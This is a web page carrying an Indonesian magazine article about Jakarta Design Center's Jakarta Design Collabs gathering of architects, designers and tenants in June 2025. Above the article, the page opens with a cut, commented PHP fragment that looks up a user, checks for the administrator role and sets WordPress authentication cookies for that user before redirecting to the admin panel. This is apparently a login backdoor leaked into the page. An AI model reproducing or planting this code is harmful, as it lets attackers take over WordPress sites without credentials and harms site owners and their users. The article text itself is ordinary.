user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Home Interior
Kolaborasi Desain dan Gaya Hidup di Jakarta Design Collabs

20 Jun 2025

Jakarta Design Collabs mempertemukan para arsitek, desainer, dan tenant JDC. Foto: Dok. JDC


Di era modern, ketika tren bergerak cepat dan konsumen mencari produk serta pengalaman yang unik, sinergi antara desainer dan industri menjadi kunci.


Desainer membawa visi, kreativitas, dan pemahaman mendalam tentang estetika dan fungsionalitas, sementara industri menyediakan sumber daya, kapasitas produksi, dan jangkauan pasar.

Hal itu disampaikan oleh Nurul Syahri F., Direktur Utama Jakarta Design Center, dalam acara Jakarta Design Collabs: Intimate Designers Gathering with Lifestyle Industries yang berlangsung pada 18 Juni 2025. Sebagai Premium Hub of Art, Design, Community, and Commerce, Jakarta Design Center (JDC) ingin terus bertransformasi dari sekadar pusat niaga menjadi rumah bagi ratusan jenama dan komunitas desain. 

“Melalui Jakarta Design Collabs ini, kami berharap dapat membuka ruang kolaborasi antara tenant industri interior dan arsitektur dengan para desainer serta arsitek untuk mendorong lahirnya gagasan-gagasan baru yang bermanfaat bagi semua pihak,” kata Nurul, menegaskan komitmen JDC untuk menciptakan ekosistem yang inklusif dan kolaboratif.  

Foto: Dok. JDC

Dalam suasana santai dengan konsep afternoon tea, sharing session, dan table talk rotation, Jakarta Design Collabs menjadi forum intim yang mempertemukan para arsitek, desainer, dan tenant JDC. Dipandu oleh Ren Katili dan Mira Prihatini dari Benda Design Hub, inisiatif ini ingin memetakan potensi kolaborasi nyata antara para profesional kreatif dan industri gaya hidup untuk periode 2025-2026.

Inisiatif ini adalah awal dari sebuah program jangka panjang yang berupaya menyatukan tenant JDC dengan para desainer dan arsitek untuk merancang kerja sama kreatif yang saling menguatkan.

Advertisement
Ren Katili menekankan pentingnya menjembatani kebutuhan brand atau jenama dengan komunitas desain dalam konteks yang memberdayakan, sementara Mira Prihatini menambahkan bahwa kolaborasi ini membawa misi untuk menghidupkan kembali semangat kebersamaan di antara para profesional desain dan arsitektur.

Kiri ke kanan: Mira Prihatini, Diana Nazir, Safitri Siswono. Foto: Dok. JDC

Acara ini mendapatkan sambutan hangat dari berbagai pihak. Ir. Safitri Siswono, MM., Komisaris Utama JDC, menyambut baik inisiatif ini sebagai langkah positif yang membuka peluang pertukaran gagasan.

Arsitek Riri Yakub menilai acara ini ruang yang sangat dibutuhkan para pelaku desain untuk berbagi ide dan pengalaman, sementara desainer interior Lea Aziz mengapresiasi format acara yang singkat namun padat, menyebutnya sebagai momentum penting untuk menghidupkan kembali semangat kolaboratif di lingkungan JDC.

Sejak berdiri pada tahun 1990, JDC telah berkembang melampaui perannya sebagai pusat niaga. JDC secara konsisten mendorong terciptanya ekosistem yang inklusif dan kolaboratif. Mereka percaya bahwa percakapan yang hangat dan penuh rasa saling percaya, seperti yang difasilitasi oleh Jakarta Design Collabs, justru membuka jalan menuju kolaborasi jangka panjang yang berdampak.

Inisiatif ini tidak hanya mendukung pertumbuhan industri desain, tetapi juga memperkaya lanskap gaya hidup di Indonesia melalui inovasi dan kreativitas. (f

Baca juga: 
Rasakan Kemewahan Italia di Rumah dengan Nicoletti Home
Homelogy Perkenalkan Koleksi SLO Recliner untuk Kenyamanan Bersantai
Musim Hujan Telah Tiba! Simak Tip Dinding Tetap Bersih Bebas Noda



Faunda Liswijayanti


Topic

#desain, #interior, #komunitas, #desainer

 



polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda?